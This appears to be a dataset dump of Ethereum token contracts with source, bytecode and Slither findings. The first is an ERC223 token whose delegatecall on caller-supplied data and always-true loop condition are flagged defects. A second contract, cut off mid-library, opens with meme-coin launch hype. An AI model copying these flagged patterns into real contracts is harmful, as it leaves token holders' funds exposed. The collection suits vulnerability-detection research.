address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x9e2b325078414af50b5e396f3f9f36cdf1605c80 | pragma solidity ^0.4.23;
//pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
//-------------------------------------------------------------------------------------
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function allowance(address owner, address spender) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ERC223 is ERC20 {
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint value, bytes data) public returns (bool ok);
}
/*
Base class contracts willing to accept ERC223 token transfers must conform to.
Sender: msg.sender to the token contract, the address originating the token transfer.
- For user originated transfers sender will be equal to tx.origin
- For contract originated transfers, tx.origin will be the user that made the tx that produced the transfer.
Origin: the origin address from whose balance the tokens are sent
- For transfer(), origin = msg.sender
- For transferFrom() origin = _from to token contract
Value is the amount of tokens sent
Data is arbitrary data sent with the token transfer. Simulates ether tx.data
From, origin and value shouldn't be trusted unless the token contract is trusted.
If sender == tx.origin, it is safe to trust it regardless of the token.
*/
contract ERC223Receiver {
function tokenFallback(address _sender, address _origin, uint _value, bytes _data) public returns (bool ok);
}
contract Standard223Receiver is ERC223Receiver {
function supportsToken(address token) public view returns (bool);
}
//-------------------------------------------------------------------------------------
//Implementation
//contract WeSingCoin223Token_8 is ERC20, ERC223, Standard223Receiver, SafeMath {
contract LiveBox223Token is ERC20, ERC223, Standard223Receiver, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
address /*public*/ contrInitiator;
address /*public*/ thisContract;
bool /*public*/ isTokenSupport;
mapping(address => bool) isSendingLocked;
bool isAllTransfersLocked;
uint oneTransferLimit;
uint oneDayTransferLimit;
struct TransferInfo {
//address sender; //maybe use in the future
//address from; //no need because all this is kept in transferInfo[_from]
//address to; //maybe use in the future
uint256 value;
uint time;
}
struct TransferInfos {
mapping (uint => TransferInfo) ti;
uint tc;
}
mapping (address => TransferInfos) transferInfo;
//-------------------------------------------------------------------------------------
//from ExampleToken
constructor(/*uint initialBalance*/) public {
decimals = 6; // Amount of decimals for display purposes
// name = "WeSingCoin"; // Set the name for display purposes
// symbol = 'WSC'; // Set the symbol for display purposes
name = "LiveBoxCoin"; // Set the name for display purposes
symbol = 'LBC'; // Set the symbol for display purposes
uint initialBalance = (10 ** uint256(decimals)) * 5000*1000*1000;
balances[msg.sender] = initialBalance;
totalSupply = initialBalance;
contrInitiator = msg.sender;
thisContract = this;
isTokenSupport = false;
isAllTransfersLocked = true;
oneTransferLimit = (10 ** uint256(decimals)) * 10*1000*1000;
oneDayTransferLimit = (10 ** uint256(decimals)) * 50*1000*1000;
// Ideally call token fallback here too
}
//-------------------------------------------------------------------------------------
//from StandardToken
function super_transfer(address _to, uint _value) /*public*/ internal returns (bool success) {
require(!isSendingLocked[msg.sender]);
require(_value <= oneTransferLimit);
require(balances[msg.sender] >= _value);
if(msg.sender == contrInitiator) {
//no restricton
} else {
require(!isAllTransfersLocked);
require(safeAdd(getLast24hSendingValue(msg.sender), _value) <= oneDayTransferLimit);
}
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
uint tc=transferInfo[msg.sender].tc;
transferInfo[msg.sender].ti[tc].value = _value;
transferInfo[msg.sender].ti[tc].time = now;
transferInfo[msg.sender].tc = safeAdd(transferInfo[msg.sender].tc, 1);
emit Transfer(msg.sender, _to, _value);
return true;
}
function super_transferFrom(address _from, address _to, uint _value) /*public*/ internal returns (bool success) {
require(!isSendingLocked[_from]);
require(_value <= oneTransferLimit);
require(balances[_from] >= _value);
if(msg.sender == contrInitiator && _from == thisContract) {
// no restriction
} else {
require(!isAllTransfersLocked);
require(safeAdd(getLast24hSendingValue(_from), _value) <= oneDayTransferLimit);
uint allowance = allowed[_from][msg.sender];
require(allowance >= _value);
allowed[_from][msg.sender] = safeSub(allowance, _value);
}
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
uint tc=transferInfo[_from].tc;
transferInfo[_from].ti[tc].value = _value;
transferInfo[_from].ti[tc].time = now;
transferInfo[_from].tc = safeAdd(transferInfo[_from].tc, 1);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
//-------------------------------------------------------------------------------------
//from Standard223Token
//function that is called when a user or another contract wants to transfer funds
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
//filtering if the target is a contract with bytecode inside it
if (!super_transfer(_to, _value)) assert(false); // do a normal token transfer
if (isContract(_to)) {
if(!contractFallback(msg.sender, _to, _value, _data)) assert(false);
}
return true;
}
function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool success) {
if (!super_transferFrom(_from, _to, _value)) assert(false); // do a normal token transfer
if (isContract(_to)) {
if(!contractFallback(_from, _to, _value, _data)) assert(false);
}
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
return transfer(_to, _value, new bytes(0));
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
return transferFrom(_from, _to, _value, new bytes(0));
}
//function that is called when transaction target is a contract
function contractFallback(address _origin, address _to, uint _value, bytes _data) private returns (bool success) {
ERC223Receiver reciever = ERC223Receiver(_to);
return reciever.tokenFallback(msg.sender, _origin, _value, _data);
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
//-------------------------------------------------------------------------------------
//from Standard223Receiver
Tkn tkn;
struct Tkn {
address addr;
address sender;
address origin;
uint256 value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _sender, address _origin, uint _value, bytes _data) public returns (bool ok) {
if (!supportsToken(msg.sender)) return false;
// Problem: This will do a sstore which is expensive gas wise. Find a way to keep it in memory.
tkn = Tkn(msg.sender, _sender, _origin, _value, _data, getSig(_data));
__isTokenFallback = true;
if (!address(this).delegatecall(_data)) return false;
// avoid doing an overwrite to .token, which would be more expensive
// makes accessing .tkn values outside tokenPayable functions unsafe
__isTokenFallback = false;
return true;
}
function getSig(bytes _data) private pure returns (bytes4 sig) {
uint l = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < l; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (l - 1 - i))));
}
}
bool __isTokenFallback;
modifier tokenPayable {
if (!__isTokenFallback) assert(false);
_; //_ is a special character used in modifiers
}
//function supportsToken(address token) public pure returns (bool); //moved up
//-------------------------------------------------------------------------------------
//from ExampleReceiver
/*
//we do not use dedicated function to receive Token in contract associated account
function foo(
//uint i
) tokenPayable public {
emit LogTokenPayable(1, tkn.addr, tkn.sender, tkn.value);
}
*/
function () tokenPayable public {
emit LogTokenPayable(0, tkn.addr, tkn.sender, tkn.value);
}
function supportsToken(address token) public view returns (bool) {
//do not need to to anything with that token address?
//if (token == 0) { //attila addition
if (token != thisContract) { //attila addition, support only our own token, not others' token
return false;
}
if(!isTokenSupport) { //attila addition
return false;
}
return true;
}
event LogTokenPayable(uint i, address token, address sender, uint value);
//-------------------------------------------------------------------------------------
// My extensions
/*
function enableTokenSupport(bool _tokenSupport) public returns (bool success) {
if(msg.sender == contrInitiator) {
isTokenSupport = _tokenSupport;
return true;
} else {
return false;
}
}
*/
function setIsAllTransfersLocked(bool _lock) public {
require(msg.sender == contrInitiator);
isAllTransfersLocked = _lock;
}
function setIsSendingLocked(address _from, bool _lock) public {
require(msg.sender == contrInitiator);
isSendingLocked[_from] = _lock;
}
function getIsAllTransfersLocked() public view returns (bool ok) {
return isAllTransfersLocked;
}
function getIsSendingLocked(address _from ) public view returns (bool ok) {
return isSendingLocked[_from];
}
/*
function getTransferInfoCount(address _from) public view returns (uint count) {
return transferInfo[_from].tc;
}
*/
/*
// use experimental feature
function getTransferInfo(address _from, uint index) public view returns (TransferInfo ti) {
return transferInfo[_from].ti[index];
}
*/
/*
function getTransferInfoTime(address _from, uint index) public view returns (uint time) {
return transferInfo[_from].ti[index].time;
}
*/
/*
function getTransferInfoValue(address _from, uint index) public view returns (uint value) {
return transferInfo[_from].ti[index].value;
}
*/
function getLast24hSendingValue(address _from) public view returns (uint totVal) {
totVal = 0; //declared above;
uint tc = transferInfo[_from].tc;
if(tc > 0) {
for(uint i = tc-1 ; i >= 0 ; i--) {
// if(now - transferInfo[_from].ti[i].time < 10 minutes) {
// if(now - transferInfo[_from].ti[i].time < 1 hours) {
if(now - transferInfo[_from].ti[i].time < 1 days) {
totVal = safeAdd(totVal, transferInfo[_from].ti[i].value );
} else {
break;
}
}
}
}
function airdropIndividual(address[] _recipients, uint256[] _values, uint256 _elemCount, uint _totalValue) public returns (bool success) {
require(_recipients.length == _elemCount);
require(_values.length == _elemCount);
uint256 totalValue = 0;
for(uint i = 0; i< _recipients.length; i++) {
totalValue = safeAdd(totalValue, _values[i]);
}
require(totalValue == _totalValue);
for(i = 0; i< _recipients.length; i++) {
transfer(_recipients[i], _values[i]);
}
return true;
}
} | 0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063061f76501461022e57806306fdde0314610289578063095ea7b314610319578063125041091461037e57806318160ddd146103d557806323b872dd146104005780632b6b7c6914610485578063313ce5671461055a5780634c1230191461058b5780635c622c09146106565780636172f071146106b157806365cd3686146106e057806370a082311461072f57806395d89b4114610786578063a9059cbb14610816578063ab67aa581461087b578063be45fd6214610946578063cfea751f146109f1578063dd62ed3e14610a20575b34801561011357600080fd5b50601360009054906101000a900460ff161515610135576000151561013457fe5b5b7ff2437bb3d950b968625757c8878714de92924bf3f774677a83c75a8cb34abd7d6000600d60000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60030154604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a1005b34801561023a57600080fd5b5061026f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a97565b604051808215151515815260200191505060405180910390f35b34801561029557600080fd5b5061029e610b22565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102de5780820151818401526020810190506102c3565b50505050905090810190601f16801561030b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032557600080fd5b50610364600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc0565b604051808215151515815260200191505060405180910390f35b34801561038a57600080fd5b506103bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb2565b6040518082815260200191505060405180910390f35b3480156103e157600080fd5b506103ea610dfe565b6040518082815260200191505060405180910390f35b34801561040c57600080fd5b5061046b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e04565b604051808215151515815260200191505060405180910390f35b34801561049157600080fd5b5061054060048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019092919080359060200190929190505050610e4f565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b5061056f610f24565b604051808260ff1660ff16815260200191505060405180910390f35b34801561059757600080fd5b5061063c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610f37565b604051808215151515815260200191505060405180910390f35b34801561066257600080fd5b50610697600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611201565b604051808215151515815260200191505060405180910390f35b3480156106bd57600080fd5b506106de600480360381019080803515159060200190929190505050611257565b005b3480156106ec57600080fd5b5061072d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506112d0565b005b34801561073b57600080fd5b50610770600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611387565b6040518082815260200191505060405180910390f35b34801561079257600080fd5b5061079b6113d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107db5780820151818401526020810190506107c0565b50505050905090810190601f1680156108085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561082257600080fd5b50610861600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061146e565b604051808215151515815260200191505060405180910390f35b34801561088757600080fd5b5061092c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506114b7565b604051808215151515815260200191505060405180910390f35b34801561095257600080fd5b506109d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061150d565b604051808215151515815260200191505060405180910390f35b3480156109fd57600080fd5b50610a06611561565b604051808215151515815260200191505060405180910390f35b348015610a2c57600080fd5b50610a81600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611578565b6040518082815260200191505060405180910390f35b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515610af95760009050610b1d565b600760149054906101000a900460ff161515610b185760009050610b1d565b600190505b919050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bb85780601f10610b8d57610100808354040283529160200191610bb8565b820191906000526020600020905b815481529060010190602001808311610b9b57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000806000809250600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015491506000821115610df7576001820390505b600081101515610df65762015180600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008381526020019081526020016000206001015442031015610de357610ddc83600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000848152602001908152602001600020600001546115ff565b9250610de8565b610df6565b808060019003915050610d0f565b5b5050919050565b60005481565b6000610e4684848460006040519080825280601f01601f191660200182016040528015610e405781602001602082028038833980820191505090505b506114b7565b90509392505050565b6000806000848751141515610e6357600080fd5b848651141515610e7257600080fd5b60009150600090505b8651811015610eb457610ea5828783815181101515610e9657fe5b906020019060200201516115ff565b91508080600101915050610e7b565b8382141515610ec257600080fd5b600090505b8651811015610f1657610f088782815181101515610ee157fe5b906020019060200201518783815181101515610ef957fe5b9060200190602002015161146e565b508080600101915050610ec7565b600192505050949350505050565b600460009054906101000a900460ff1681565b6000610f4233610a97565b1515610f5157600090506111f9565b60c0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001610fc68461161b565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815250600d60008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003015560808201518160040190805190602001906110e5929190612329565b5060a08201518160050160006101000a81548163ffffffff02191690837c0100000000000000000000000000000000000000000000000000000000900402179055509050506001601360006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff168260405180828051906020019080838360005b8381101561118a57808201518184015260208101905061116f565b50505050905090810190601f1680156111b75780820380516001836020036101000a031916815260200191505b50915050600060405180830381855af491505015156111d957600090506111f9565b6000601360006101000a81548160ff021916908315150217905550600190505b949350505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112b357600080fd5b80600960006101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561132c57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114665780601f1061143b57610100808354040283529160200191611466565b820191906000526020600020905b81548152906001019060200180831161144957829003601f168201915b505050505081565b60006114af838360006040519080825280601f01601f1916602001820160405280156114a95781602001602082028038833980820191505090505b5061150d565b905092915050565b60006114c4858585611722565b15156114d557600015156114d457fe5b5b6114de84611d02565b15611501576114ef85858585611d15565b151561150057600015156114ff57fe5b5b5b60019050949350505050565b60006115198484611ea5565b151561152a576000151561152957fe5b5b61153384611d02565b156115565761154433858585611d15565b1515611555576000151561155457fe5b5b5b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561161257fe5b80905092915050565b60008060006004845110611630576004611633565b83515b9150600090505b8181101561171b5780600183030360080260020a848281518110151561165c57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900402837c01000000000000000000000000000000000000000000000000000000009004017c0100000000000000000000000000000000000000000000000000000000029250808060010191505061163a565b5050919050565b6000806000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561178057600080fd5b600a54841115151561179157600080fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156117df57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156118895750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b15611893576119ea565b600960009054906101000a900460ff161515156118af57600080fd5b600b546118c46118be88610cb2565b866115ff565b111515156118d157600080fd5b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915083821015151561195f57600080fd5b6119698285612310565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611a33600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612310565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611abf600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856115ff565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905083600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008381526020019081526020016000206000018190555042600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600083815260200190815260200160002060010181905550611c4a600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015460016115ff565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b600080823b905060008111915050919050565b6000808490508073ffffffffffffffffffffffffffffffffffffffff16634c123019338887876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e10578082015181840152602081019050611df5565b50505050905090810190601f168015611e3d5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b158015611e5f57600080fd5b505af1158015611e73573d6000803e3d6000fd5b505050506040513d6020811015611e8957600080fd5b8101908080519060200190929190505050915050949350505050565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611f0157600080fd5b600a548311151515611f1257600080fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611f6057600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611fbb57611ffa565b600960009054906101000a900460ff16151515611fd757600080fd5b600b54611fec611fe633610cb2565b856115ff565b11151515611ff957600080fd5b5b612043600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612310565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cf600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846115ff565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905082600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008381526020019081526020016000206000018190555042600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008381526020019081526020016000206001018190555061225a600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015460016115ff565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600082821115151561231e57fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061236a57805160ff1916838001178555612398565b82800160010185558215612398579182015b8281111561239757825182559160200191906001019061237c565b5b5090506123a591906123a9565b5090565b6123cb91905b808211156123c75760008160009055506001016123af565b5090565b905600a165627a7a723058201142e356d627b4441b551031c092d81a0a2e494ab685ec26151d0eb469b9eb0c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 600 |
0xb7528b8930003666037bc67024577d8bdb192bf1 | /*
Doont Sell
Telegram: https://t.me/doontsell
twitter: @doontSell
Launch at 1:30pm Eastern
Everything will be locked and renounced post launch
Inspired by the awesome coing $DoontBuy, dont miss $DoontSell
Ape launch or buy a dip but don't miss this one!
Tax is 11% which is split between dev/marketing/redistribution
Huge Marketing Push post launch
Based Dev Team
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
